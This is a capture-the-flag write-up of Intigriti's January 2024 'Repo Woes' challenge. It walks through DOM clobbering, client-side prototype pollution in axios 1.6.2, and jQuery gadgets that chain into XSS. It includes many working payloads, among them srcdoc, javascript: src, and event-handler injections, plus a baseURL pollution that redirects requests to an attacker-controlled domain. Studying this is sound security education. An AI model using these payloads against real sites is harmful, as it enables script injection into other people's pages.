🧠
Intigriti Monthly Challenges
Intigriti
  • Homepage
  • 0425: HackDonalds
  • 0325: Leaky Flagment
  • 0125: Particle Generator
  • 1224: Fireplace Generator
  • 1124: 1337UP LIVE CTF
  • 0824: Safe Notes
  • 0724: Memo Sharing
  • 0524: Quadratic Equation Solver
  • 0424: BarSpacing Skills
  • 0324: Contact Form
  • 0224: Love Letter
  • 0124: Repo Woes
  • 1223: Smartypants Revenge
  • 1123: 1337UP LIVE CTF
  • 1023: Pseudonym Generator
  • 0923: Secure Database
  • 0823: Pure Functional Math Calculator
  • 0723: Video-to-Audio Converter
  • 0623: Protocapture
  • 0523: It’s Fun to Review the E.C.M.A
  • 0423: We Like to Sell Bricks
  • 0323: Incomplete Secure Notes Application
  • 0223: Leek NFT
  • 0123: Friends Search Engine
  • 1222: Christmas Blog
  • 1122: Secure Vault
  • 1022: Secure Notes
  • 0922: 8 Ball
  • 0822: Business Card Generator
  • 0722: Awesome Kitty Blog
  • 0622: Recipe
  • 0522: Pollution
  • 0422: Window Maker
  • 0322: Hashing
  • 0222: Extremely Short Scripting Game
  • 0122: Super Secure HTML Viewer
  • 1221: Christmas Special
  • 1121: OWASP Top 10
  • 1021: Halloween Has Taken Over
  • 0921: Password Manager
  • 0821: XSS Cookbook
Powered by GitBook
On this page
  • Video Walkthrough
  • Challenge Description
  • Source Code Review
  • HTML Injection
  • DOM Clobbering
  • Client-side Prototype Pollution (CSPP)
  • Unintended Solutions
  • Polluting the repo owner
  • Polluting the repo homepage
  • XSS
  • Unintended - without polluting owner/homepage
  • Player Submission Analysis
  • Community Writeups
  • Intended Solution (patched challenge)
  • Unintended Solution (patched challenge)
  • Conclusion

0124: Repo Woes

Writeup for the Intigriti January 2024 challenge 💥

Previous0224: Love LetterNext1223: Smartypants Revenge

Last updated 9 months ago

Name
Authors
Category

DOM Clobbering, XSS, Prototype Pollution

Video Walkthrough

Challenge Description

Find a way to execute arbitrary javascript on the iFramed page and win Intigriti swag.

Source Code Review

The challenge provides source code adhering to the following structure.

├── docker-compose.yaml
├── Dockerfile
└── src
    ├── app.js
    ├── package.json
    ├── repos.json
    ├── static
    │   ├── css
    │   │   └── main.css
    │   ├── img
    │   │   ├── loading.gif
    │   │   └── pattern.svg
    │   └── js
    │       ├── axios.min.js
    │       └── jquery-3.7.1.min.js
    └── views
        ├── inc
        │   └── header.ejs
        ├── index.ejs
        └── search.ejs

app.js

const createDOMPurify = require("dompurify");
const repos = require("./repos.json");
const { JSDOM } = require("jsdom");
const express = require("express");
const path = require("path");

const app = express();
app.set("view engine", "ejs");
app.set("view cache", false);
app.use(express.json());
const PORT = 3000;

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);

app.use("/static", express.static(path.join(__dirname, "static")));

app.get("/", (req, res) => {
    if (!req.query.name) {
        res.render("index");
        return;
    }
    res.render("search", {
        name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
        search: req.query.search,
    });
});

app.post("/search", (req, res) => {
    name = req.body.q;
    repo = {};

    for (let item of repos.items) {
        if (item.full_name && item.full_name.includes(name)) {
            repo = item;
            break;
        }
    }
    res.json(repo);
});

app.listen(PORT, () => {
    console.log(`App listening on port ${PORT}!`);
});

Thankfully, we don't have too much code to analyse in the server-side app.js file.

package.json

"dependencies": {
    "dompurify": "^3.0.6",
    "ejs": "^3.1.9",
    "express": "^4.18.2",
    "jsdom": "^23.0.1"
}

Probably not. The version numbers are all prefixed with a ^ meaning use this version or above. Therefore, any future updates that patch the vulnerable library would also break the challenge. If one of the libraries were intentionally vulnerable, we'd expect to see a fixed version number beside it.

Returning to app.js, there are two endpoints. The first is /, which accepts GET requests. If there's no name parameter, it will render index. Otherwise, it will render search.

app.get("/", (req, res) => {
    if (!req.query.name) {
        res.render("index");
        return;
    }
    res.render("search", {
        name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),
        search: req.query.search,
    });
});

Something that stands out here is that the DOMPurify sanitize function is only used on one of the two query parameters (name but not search). Furthermore, the option { SANITIZE_DOM: false } is supplied.

disable DOM Clobbering protection on output (default is true, handle with care, minor XSS risks here)

The second endpoint is /search, which accepts POST requests. It takes a q parameter that becomes name and refers to a "repo name". The function will essentially search a list of repos for a name that matches. If it finds one, it will return the result as a JSON object.

app.post("/search", (req, res) => {
    name = req.body.q;
    repo = {};

    for (let item of repos.items) {
        if (item.full_name && item.full_name.includes(name)) {
            repo = item;
            break;
        }
    }
    res.json(repo);
});

The repos.json file contains 30 JSON objects split across ~3000 lines. Each object represents a repository and has many properties defining many properties about the repo and its owner.

The last potentially interesting file is the client-side search.ejs.

search.ejs

<img src="/static/img/loading.gif" class="loading" width="50px" hidden /><br />
<img class="avatar" width="35%" />
<p id="description"></p>
<iframe id="homepage" hidden></iframe>

<script src="/static/js/axios.min.js"></script>
<script src="/static/js/jquery-3.7.1.min.js"></script>
<script>
    function search(name) {
        $("img.loading").attr("hidden", false);

        axios
            .post("/search", $("#search").get(0), {
                headers: { "Content-Type": "application/json" },
            })
            .then((d) => {
                $("img.loading").attr("hidden", true);
                const repo = d.data;
                if (!repo.owner) {
                    alert("Not found!");
                    return;
                }

                $("img.avatar").attr("src", repo.owner.avatar_url);
                $("#description").text(repo.description);
                if (repo.homepage && repo.homepage.startsWith("https://")) {
                    $("#homepage").attr({
                        src: repo.homepage,
                        hidden: false,
                    });
                }
            });
    }

    window.onload = () => {
        const params = new URLSearchParams(location.search);
        if (params.get("search")) search();

        $("#search").submit((e) => {
            e.preventDefault();
            search();
        });
    };
</script>

Let's break down the code. When the page loads:

  1. If the URL contains a search parameter, it's extracted, and the search function is triggered automatically

  2. An event handler is attached to the #search form (monitoring for future searches)

When the search() function executes:

  1. A POST request is made to the /search endpoint (using the axios library)

  2. If the search query matches, the relevant repo data will be returned in JSON format

  3. The img.avatar source will be set to repo.owner.avatar_url

  4. The description text will be set to repo.description

  5. If the repo homepage starts with https:// the homepage source will be set to repo.homepage and hidden will be false

Now, back to the axios.min.js. We want to check for any known vulnerabilities, but because the JS is minified, there's no mention of the version anywhere in the project.

Therefore, I opted to load the challenge page, open devtools (F12), switch to the debugger and search for "version" in the minified axios file.

There are two references, the second of which stands out.

return (
    (Qe.Axios = Ve),
    (Qe.CanceledError = Pe),
    (Qe.CancelToken = Ge),
    (Qe.isCancel = Te),
    (Qe.VERSION = ze),
    (Qe.toFormData = ne),
    (Qe.AxiosError = X),
    (Qe.Cancel = Qe.CanceledError),
    (Qe.all = function (e) {
        return Promise.all(e);
    })
);

I set a breakpoint here (line 2277) and refresh the page. The breakpoint triggers and reveals the version 1.6.2.

HTML Injection

Now we know what's going on in the code, let's visualise the site functionality.

Visiting https://challenge-0124.intigriti.io/challenge?name=cat presents the search page with the message Hey cat, which repo are you looking for?

name=<u>cat</u>

It works! We have HTML injection ✅

Now, If I type cat in the repo search box, an alert pops up: Not found!

If I type a name from the repos.json file, e.g. facebook (or even fb), it displays the repo image and loads an iframe containing the repo information.

DOM Clobbering

We have HTML injection, but what about the "DOM clobbering risk" mentioned in the DOMPurify docs? What is DOM clobbering anyway?

a technique in which you inject HTML into a page to manipulate the Document Object Model (DOM) and ultimately change the behaviour of JavaScript on the page

Let's return to search.ejs and focus on this line of code momentarily.

axios.post("/search", $("#search").get(0), {
    headers: { "Content-Type": "application/json" },
});

We can ask chatGPT for a breakdown 👀

  • axios.post("/search", $("#search").get(0), { ... }):

    • axios.post: Initiates a POST request using the Axios library.

    • "/search": The URL or endpoint to which the POST request is sent.

    • $("#search").get(0): The data payload of the request. In this case, it takes the form element with the id 'search' and gets its first element (equivalent to the native JavaScript document.getElementById('search')). This is usually done to serialize the form data for submission.

    • { "headers": { "Content-Type": "application/json" } }: An optional configuration object that includes headers for the request. In this case, it sets the "Content-Type" header to "application/json", indicating that the payload being sent is in JSON format.

So $("#search").get(0) is taking the form element with the id 'search' and getting its first element? It sounds like a nice target for clobbering! If we can inject our own search form before the existing form on the page, it will be processed in the axios request instead of the intended one 💡

name=
<form id="search"><input name="cat" value="is the best" /></form>

We can verify the new behaviour via the console.

$("#search").get(0);

jQuery returns our injected form.

<form id="search">​ 0: <input value="is the best" name="cat" /></form>

Now, what can we do with our clobbered search form? 🤔

Client-side Prototype Pollution (CSPP)

Prototype pollution is a vulnerability that occurs when you merge an object with a user-controlled JSON object. It can also occur as a result of an object generated from query/hash parameters, when the merge operation does not sanitize the keys.

Successful exploitation of prototype pollution requires the following key components:

function formDataToJSON(formData) {
    function buildPath(path, value, target, index) {
        let name = path[index++];

        if (name === '__proto__') return true; # ONE LINE FIX

        const isNumericKey = Number.isFinite(+name);
        const isLast = index >= path.length;
        name = !name && utils.isArray(target) ? target.length : name;

The developers also updated their test cases, giving us greater insight into how the attack would look.

it("should resist prototype pollution CVE", () => {
    const formData = new FormData();

    formData.append("foo[0]", "1");
    formData.append("foo[1]", "2");
    formData.append("__proto__.x", "hack");
    formData.append("constructor.prototype.y", "value");

    expect(formDataToJSON(formData)).toEqual({
        foo: ["1", "2"],
        constructor: {
            prototype: {
                y: "value",
            },
        },
    });

    expect({}.x).toEqual(undefined);
    expect({}.y).toEqual(undefined);
});

We know from search.ejs that axios.post() will send a POST request to /search with an "application/json" header, then return the response in JSON. Therefore, if our input is processed by the FormDataToJSON() function, we could potentially exploit the CSPP in the name field.

name=
<form id="search"><input name="__proto__[cat]" value="is the best" /></form>
&search=test

Now, if we type Object.prototype.cat, Object.cat or simply cat in the developer tools console, it will display is the best. This is because the prototype has been polluted, so all objects will inherit our injected property 😈

Unintended Solutions

The unintended solutions are possible due to the following code snippet in search.ejs (removed in the patched version).

if (repo.homepage && repo.homepage.startsWith("https://")) {
    $("#homepage").attr({
        src: repo.homepage,
        hidden: false,
    });
}

To exploit this vulnerable code, we must satisfy some conditions 👇

Polluting the repo owner

Here's the first one. If the repo.owner isn't set, the function will return, and we can never reach the vulnerable code.

const repo = d.data;
if (!repo.owner) {
    alert("Not found!");
    return;
}
name=
<form id="search"><input name="__proto__[owner]" value="cat" /></form>
&search=test

If you want to visualise this process, set a breakpoint at the if statement. When the execution pauses, swap to the console, enterrepo.owner and confirm that the value is cat, as expected.

Polluting the repo homepage

Here's the next condition. Set up another breakpoint and refresh the page; you should see that repo.homepage is undefined. If we want the code inside this if statement to execute, we must set a homepage and ensure it begins with https://.

if (repo.homepage && repo.homepage.startsWith("https://")) {
    $("#homepage").attr({
        src: repo.homepage,
        hidden: false,
    });
}
name=
<form id="search">
    <input name="__proto__[owner]" value="cat" /><input
        name="__proto__[homepage]"
        value="https://crypto.cat"
    />
</form>
&search=test

It works! When the breakpoint triggers, we check the console and see that repo.homepage is set to https://crypto.cat (yes, I wish I owned this domain 😒).

The src of the homepage element is now set to https://crypto.cat. Scrolling up to the top of search.ejs, we can confirm that homepage refers to a hidden iframe.

<iframe id="homepage" hidden></iframe>

If only we could set repo.homepage to javascript:alert(document.domain), we would be finished already. Unfortunately, there doesn't appear to be any way to get around the repo.homepage.startsWith("https://") condition.

jQuery exception

Additionally, our new payload triggers the following exception in jQuery.

Uncaught (in promise) TypeError: cannot use 'in' operator to search for "set" in "cat"

Interestingly, it's complaining about cat, which was the value of owner. However, it only does so when the homepage is also set, indicating that the code which sets the iframe attributes is to blame.

$("#homepage").attr({
    src: repo.homepage,
    hidden: false,
});

TLDR; the loop inside attr will crash when trying to process strings. That includes our owner and homepage prototypes. In fact, homepage must be a string in order to meet this requirement.

if (repo.homepage && repo.homepage.startsWith("https://"))
name=
<form id="search">
    <input name="__proto__[owner][]" value="cat" /><input
        name="__proto__[homepage][]"
        value="https://crypto.cat"
    />
</form>
&search=test

Now we get a new error because homepage needs to be a string 😺

Uncaught (in promise) TypeError: repo.homepage.startsWith is not a function
name=
<form id="search">
    <input name="__proto__[OwneR]" value="cat" /><input
        name="__proto__[HOMEPAGE]"
        value="https://crypto.cat"
    />
</form>
&search=test

Of the 37 submissions, 24 polluted the owner and homepage. Soon, we'll see how the remaining 13 solutions bypassed these requirements (without abusing the jQuery caching, as intended).

For the solutions that did set the owner and homepage, it's around this point that they begin to diverge 🔎

XSS

srcdoc

<form id="search">
    <input
        name="__proto__[srcdoc]"
        value="<script>alert(document.domain)</script>"
    />
    <input name="__proto__[owner]" value="cat" />
    <input name="__proto__[homepage]" value="https://crypto.cat" />
</form>

The order is important here. srcdoc must be specified in the URL before the owner and homepage. A community member suggested the reasoning behind this - since owner and homepage are strings, they would fail somewhere in jQuery, halting execution. So long as srcdoc is processed first, it doesn't matter if the remaining properties fail (we only need them at the beginning of our attack to reach the vulnerable code).

src

<form id="search">
    <input name="__proto__[SRC]" value="javascript:alert(document.domain)" />
    <input name="__proto__[owner]" value="cat" />
    <input name="__proto__[homepage]" value="https://crypto.cat" />
</form>

onload

<form id="search">
    <input name="__proto__[ONLOAD]" value="alert(document.domain)" />
    <input name="__proto__[owner]" value="cat" />
    <input name="__proto__[homepage]" value="https://crypto.cat" />
</form>

ontransitionend

<svg id="homepage" style="transition: outline 1s" tabindex="1"></svg>
<form id="search">
    <input name="__proto__.owner" value="cat" />
    <input name="__proto__.homepage" value="https://crypto.cat" />
    <input name="__proto__.ontransitionend" value="alert(document.domain)" />
</form>
&search=test#homepage

This one gets bonus points for being incredibly annoying (alert pops recurrently) 🥇

onerror

<svg><image id=homepage></svg>
<form id=search>
    <input name="__proto__.onerror" value="alert(document.domain)" />
    <input name="__proto__.href" value="x" />
    <input name="__proto__.owner" value="cat" />
    <input name="__proto__.homepage" value="https://crypto.cat" />
</form>

These last two payloads negated the need for an array/uppercase property because the polluted values weren't already defined!

Unintended - without polluting owner/homepage

Let's look at the 13 solutions that didn't pollute the owner or homepage; how did they get around it?

Clobbered 'q'

<form id="search">
    <input name="q" value="react-d3" />
    <input
        name="__proto__.srcdoc.0"
        value="<script>alert(document.domain)</script>"
    />
    <input type="submit" />
</form>

baseURL (attacker domain)

The baseURL can be polluted to a URL owned by the attacker, ensuring the POST /search will be directed there instead.

<form id="search">
    <input name="__proto__[baseURL]" value=https://attacker.domain>
    <input name="__proto__[SRCDOC]" value="<script>alert(1)</script>" />
</form>

The attacker.domain should deliver a JSON object representing a repository. This example can be found in the repos.json file.

{
    "owner": {
        "login": "cameronmcefee",
        "id": 72919,
        "node_id": "MDQ6VXNlcjcyOTE5",
        "avatar_url": "https://avatars.githubusercontent.com/u/72919?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/cameronmcefee"
    },
    "homepage": "https://example.com"
}

Player Submission Analysis

Here's a table that breaks down all the [unintended] payloads we received. You can mix and match, i.e. pick one row from each column, to construct your attack 🤓 The values in brackets represent the number of players that utilised that technique.

Initial approach
CSPP gadget
jQuery attr bypass

Pollute 'owner' and 'homepage' (24)

srcdoc (21)

array (18)

Pollute 'baseURL' (3)

src (1)

uppercase (16)

Clobber 'q' (10)

onload (13)

other (3)

ontransitionend (1)

onerror (1)

Community Writeups

Intended Solution (patched challenge)

To achieve this, it is first necessary to clobber document.namespaceURI so that jQuery thinks the document is non-HTML and falls back to our targeted select function. Next, the selector is polluted with a previously cached img.loading selector (to avoid crashes) and relative selectors are polluted to apply some custom rules, ensuring the selector will match everything. Finally, we set the src attribute to our XSS payload, which will apply to each DOM element, including the iframe. Here's the constructed payload for visualisation.

<img name="namespaceURI" />
<form id="search">
    <input
        name="__proto__[baseURL]"
        value='data:,{"owner":{"avatar_url":"javascript:alert(1)"}}#'
    />
    <input name="__proto__[selector]" value="img.loading" />
    <input name="__proto__[TAG][dir]" value="ownerDocument" />
    <input name="__proto__[TAG][next]" value="parentNode" />
    <input name="__proto__[CLASS][dir]" value="nextSibling" />
    <input name="__proto__[CLASS][first]" value="true" />
</form>

Unintended Solution (patched challenge)

Conclusion

The app uses and . We should check the versions used; perhaps there are some known vulnerabilities 🔎

According to the this parameter will:

OK, so has been explicitly allowed for this parameter 📓✍ (update: the creator pointed out that disabling this option specifically allows us to overwrite document and HTMLFormElement attributes).

What makes it interesting, you ask? Firstly, the import of axios.min.js - and why is it included here? Secondly, this is where most of our search functionality is located! Where there's functionality, there's bugs.. maybe? 🧐

shows a recent release (5 days ago, at the time of this challenge release) that fixed two bugs, both security related.

After some initial research, we determine that the warrants further exploration (axios is submitting a form, then returning JSON). Let's return to this later when we've formulated our attack plan.

cat is already in bold, so let's test for HTML injection by .

Providing we remember to here, it will work! The page loads with two search forms: our injected one and then the original, intended one.

We noted the in axios 1.6.2 earlier; let's investigate!

First, what is prototype pollution? Portswigger made an (including a great ) on client-side prototype pollution (CSSP) but in short:

- This is any input that enables you to poison prototype objects with arbitrary properties.

- A JavaScript function or DOM element that enables arbitrary code execution.

- This is any property that is passed into a sink without proper filtering or sanitization.

OK, good to know! Next, we and confirm the fix was a single line of code in the formDataToJSON function.

Reviewing the for the function it's clear that the fix will prevent any paths with the name __proto__ from being processed by returning true as soon as they are found.

Let's test our theory with a (note, you can also use the dot syntax, e.g. __proto__.cat).

From here, we might look for in jQuery (similar to the ), but unfortunately, we won't find any documented gadgets that work in this case.

Since nobody found the intended path, the creator deployed a . At the end, we'll discuss the author's intended solution later and link another unintended solution that also worked on the patched version 🤯 First, lets evaluate at the 37 unintended solutions we received for the original challenge.

Therefore, we pollute the prototype to include an owner property. Since repo is an object, it will inherit the property making repo.owner == cat. Remember you might need to .

We already saw we can pollute the repo.owner, so let's for repo.homepage.

Many players studied jQuery to understand the underlying cause of this error, a process made significantly easier through the use of , which negates the need to debug minified JS code. You can find several examples in but is nice 👌

We can verify this by (for (i in key) is valid for an array).

Actually, there's another way to get around this error. If there are any uppercase characters in the attribute name, it will be converted using toLowerCase, which will change the execution flow in such a way that jQuery will skip the i in [] check will. We and confirm there are no errors!

So, how can we get XSS in an iframe? suggests using src or srcdoc. The src attribute is already assigned repo.homepage (which must begin with https://), so let's try srcdoc 🤞

We submit our

We don't get an alert 😿 But wait, what about that array trick we saw earlier? Let's change [srcdoc] to [srcdoc][]. Now !

Let's also try the uppercase trick; change [srcdoc] to [Srcdoc]. !

A to the array payload was to pollute the srcdoc twice. The underlying logic is the same, i.e. declaring srcdoc twice creates a srcdoc[] array containing both values.

Earlier, we said it would be great if we could just set the iframe src to javascript:alert(document.domain). Well, we can't because the existing keys already define it. However, since , we can use our trusty trick to ensure the existing key won't overwrite our injected prototype.

A fairly straightforward alternative - you can pollute onload to set some JS to execute when the page loads! You'll still need to meet the previous conditions (pollute owner + homepage and use uppercase/array),

One created and <svg> element with a transition style, then polluted ontransitionend with our XSS payload.

Finally, one polluted onerror with the XSS payload. To throw an error, it pollutes href with an invalid value, e.g. in the example below, it will try [and fail] to load https://challenge-0124.intigriti.io/x

when q is set, it gets a real result from the server that satisfies the owner and homepage checks, so there's no need to pollute these values. Note that we still need to use the array/uppercase trick. The achieved this with a slightly different syntax.

As mentioned earlier, the creator deployed a patched version of the challenge for a week after the event to give players the time to find the intended solution. I won't document it in detail here because this post is already quite long. Besides, I couldn't explain it better than Kevin, so why duplicate the effort 🤷‍♂️ I would therefore encourage you to check out the creators , but here's a quick TLDR;

The intended solution polluted the baseURL, a technique we observed in some earlier payloads. One slight difference is that the unintended solutions used baseURL to deliver a repo JSON object from an attacker domain. In contrast, the official solution sets the value to data:,{}#, allowing the response data to be controlled directly. The main difference in the approach, however, is the CSPP gadget used; the expectation was to .

When Kevin released v2 of the challenge mentioned he had found an unintended solution that also worked on the patched version! The approach is a little complicated to summarise here, so I would encourage you to . Furthermore, the writeup provides a superb breakdown of the gadget hunting process 🧠

We hope you enjoyed this writeup from ! Make sure to check back in February for the 💜

JSDOM
DOMPurify
documentation
DOM Clobbering
what is it
axios releases
v1.6.4
formToJSON prototype pollution vulnerability
adding an underline
URL-encode the payload
formToJSON prototype pollution vulnerability
article
video
A prototype pollution source
A sink
An exploitable gadget
view changes
entire code
benign payload
useful script gadgets
06-23 challenge
patched version of the challenge
URL encode the payload
repeat the process
changing the prototypes to arrays
test it
HackTricks
URL-encoded payload
we get an alert
It works too
popular alternative
HTML attributes are case-insensitive and JS are not
uppercase
e.g.
payload
payload
example below
rodriguezjorgex
jorianwoltjer
realansgar
smickovskid
arturssmirnovs
sebastianosrt
sudistark
siss3l
official writeup
abuse jQuery selector caching
Johan
give it a read
CryptoCat
valentine-themed challenge
sourceMaps
this one
Community Writeups
Intigriti January Challenge (2024)
Kévin - Mizu